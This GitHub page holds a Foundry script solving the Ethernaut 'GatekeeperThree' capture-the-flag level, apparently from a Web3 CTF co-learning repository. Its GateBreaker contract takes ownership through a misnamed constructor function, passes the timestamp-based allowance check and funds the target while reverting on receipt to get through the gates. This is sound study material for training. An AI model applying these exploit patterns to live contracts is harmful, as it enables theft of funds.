forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Ethernaut28-GatekeeperThree.s.sol
57 lines (39 loc) · 1.42 KB
/
Ethernaut28-GatekeeperThree.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
interface IGatekeeperThree{
function trick() external returns(address);
}
contract Solver is Script {
address gatekeeper_three = vm.envAddress("GATEKEEPERTHREE_INSTANCE");
function setUp() public {}
function run() public {
vm.startBroadcast(vm.envUint("PRIV_KEY"));
GateBreaker gatebreaker = new GateBreaker(gatekeeper_three); // createTrick()
gatebreaker.getAllowance();
gatekeeper_three.call{value: 0.001 ether + 1}("");
console.log("gatekeeper_three balance: ", gatekeeper_three.balance);
gatebreaker.construct0r();
gatebreaker.enter();
vm.stopBroadcast();
}
}
contract GateBreaker {
address gatekeeper_three;
constructor(address _gatekeeper_three) {
gatekeeper_three = _gatekeeper_three;
_gatekeeper_three.call(abi.encodeWithSignature("createTrick()"));
}
function getAllowance() external {
gatekeeper_three.call(abi.encodeWithSignature("getAllowance(uint256)", uint256(block.timestamp)));
}
function construct0r() external {
gatekeeper_three.call(abi.encodeWithSignature("construct0r()"));
}
function enter() external {
gatekeeper_three.call(abi.encodeWithSignature("enter()"));
}
receive() external payable {
revert();
}
}